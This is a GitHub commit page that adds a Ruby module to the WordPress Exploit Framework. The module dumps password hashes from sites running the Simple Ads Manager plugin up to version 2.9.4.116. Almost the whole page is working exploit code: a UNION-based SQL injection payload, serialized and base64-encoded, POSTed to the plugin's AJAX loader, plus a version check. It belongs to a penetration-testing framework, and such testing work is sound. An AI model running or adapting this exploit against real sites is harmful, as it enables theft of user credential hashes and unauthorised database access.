Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit f29dfe7

Browse files
committed
Add Simple Ads Manager <= 2.9.4.116 hash dump
1 parent 716e7d3 commit f29dfe7

File tree

1 file changed

+67
-0
lines changed

1 file changed

+67
-0
lines changed
Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
# frozen_string_literal: true
2+
3+
require 'base64'
4+
5+
class Wpxf::Auxiliary::SimpleAdsManagerHashDump < Wpxf::Module
6+
include Wpxf::WordPress::HashDump
7+
8+
def initialize
9+
super
10+
11+
update_info(
12+
name: 'Simple Ads Manager <= 2.9.4.116',
13+
author: [
14+
'Kacper Szurek', # Vulnerability discovery
15+
'rastating' # WPXF module
16+
],
17+
references: [
18+
['URL', 'http://security.szurek.pl/simple-ads-manager-294116-sql-injection.html'],
19+
['WPVDB', '8357']
20+
],
21+
date: 'Dec 30 2015'
22+
)
23+
end
24+
25+
def check
26+
check_plugin_version_from_readme('simple-ads-manager', '2.9.5.118', '2.9.4.116')
27+
end
28+
29+
def reveals_one_row_per_request
30+
true
31+
end
32+
33+
def hashdump_number_of_cols
34+
23
35+
end
36+
37+
def vulnerable_url
38+
normalize_uri(wordpress_url_plugins, 'simple-ads-manager', 'sam-ajax-loader.php')
39+
end
40+
41+
def encode_query(query)
42+
query = ") UNION (#{query}"
43+
serialized = "a:4:{s:2:\"WC\";s:3:\"1=0\";s:3:\"WCT\";s:0:\"\";s:3:\"WCW\";s:#{query.bytesize}:\"#{query}\";s:4:\"WC2W\";s:0:\"\";}"
44+
Base64.strict_encode64(serialized)
45+
end
46+
47+
def hashdump_sql_statement
48+
encode_query(super)
49+
end
50+
51+
def hashdump_prefix_fingerprint_statement
52+
encode_query(super)
53+
end
54+
55+
def hashdump_request_body
56+
{
57+
'action' => 'load_place',
58+
'id' => '0',
59+
'pid' => '1',
60+
'wc' => hashdump_sql_statement
61+
}
62+
end
63+
64+
def hashdump_request_method
65+
:post
66+
end
67+
end

0 commit comments

Comments
 (0)